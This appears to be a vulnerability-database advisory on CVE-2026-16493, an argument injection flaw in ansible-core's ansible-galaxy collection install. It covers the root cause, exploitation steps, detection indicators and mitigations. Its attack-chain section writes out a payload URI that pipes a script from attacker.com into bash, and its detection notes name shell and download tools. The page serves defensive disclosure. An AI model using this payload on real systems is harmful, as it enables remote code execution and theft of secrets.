
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-16493 is an argument injection vulnerability in ansible-core that allows arbitrary command execution when a user runs ansible-galaxy collection install with a malicious git source URI. The flaw exists in the _extract_collection_from_git() function within lib/ansible/galaxy/collection/concrete_artifact_manager.py, which constructs git clone commands without a -- (end-of-options) separator before user-supplied URLs. This is an incomplete fix for CVE-2026-11332, which hardened the role install path but left the equivalent collection install code path unprotected. Affected products include ansible-core across all active branches (devel, stable-2.18, stable-2.17) as of July 21, 2026. It carries a CVSS v3.1 base score of 7.8 (High) (Red Hat CVE, GitHub Advisory).
The root cause is CWE-88 (Improper Neutralization of Argument Delimiters in a Command — Argument Injection). The _extract_collection_from_git() function passes user-controlled git URLs directly to subprocess.check_call() without a -- end-of-options guard, allowing an attacker to craft a malicious collection source URI such as git+-ccore.sshCommand=sh -c "malicious_command" that causes git to interpret attacker-controlled input as command-line flags. The parse_scm() function performs no security-relevant URL validation — no scheme check, no argument prefix check, and no sanitization. Additionally, the git checkout command in the same function also lacks -- before the user-supplied version value, providing a secondary injection point. Exploitation requires user interaction (a user must run ansible-galaxy collection install with the attacker-supplied source), but no privileges are required (Red Hat Bugzilla, GitHub Advisory).
Successful exploitation results in arbitrary command execution on the system running ansible-galaxy collection install, with the privileges of the invoking user. The CVSS assessment reflects high confidentiality, integrity, and availability impact — an attacker can read sensitive files, modify system state, or disrupt availability. Because Ansible is commonly used in automation pipelines and CI/CD environments, exploitation could enable lateral movement to managed hosts or compromise of secrets stored in Ansible vaults or environment variables (Red Hat Bugzilla, GitHub Advisory).
git+-ccore.sshCommand=sh -c "curl http://attacker.com/shell.sh | bash"#. The leading -c flag causes git to interpret the value as a configuration option rather than a URL.requirements.yml), a public repository, or deliver it via social engineering to a target who uses ansible-galaxy collection install.ansible-galaxy collection install -r requirements.yml or ansible-galaxy collection install 'git+-ccore.sshCommand=...', the _extract_collection_from_git() function passes the URI directly to subprocess.check_call() without sanitization.-ccore.sshCommand configuration option, executing the attacker-specified shell command with the privileges of the user running ansible-galaxy (Red Hat Bugzilla).ansible-galaxy collection install invocations with URIs containing -c, --config, or sshCommand substrings; unexpected git subprocess invocations with unusual arguments.ansible-galaxy or git process (e.g., sh, bash, curl, wget, python) during a collection install operation.git or shell processes during ansible-galaxy collection install execution.ansible-galaxy invocation; new SSH authorized keys or modified .gitconfig files.Red Hat has acknowledged the vulnerability and a patch is in progress (tracked in Bugzilla #2503724); fixed version details have not yet been published as the CVE is awaiting analysis. Users should avoid installing Ansible collections from untrusted or unverified git sources until a patch is available. As a workaround, manually inspect any requirements.yml or collection source URIs for suspicious argument-like prefixes (e.g., -c, --) before running ansible-galaxy collection install. Monitor for upstream ansible-core releases that address this issue on the devel, stable-2.18, and stable-2.17 branches (Red Hat CVE, Red Hat Bugzilla).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."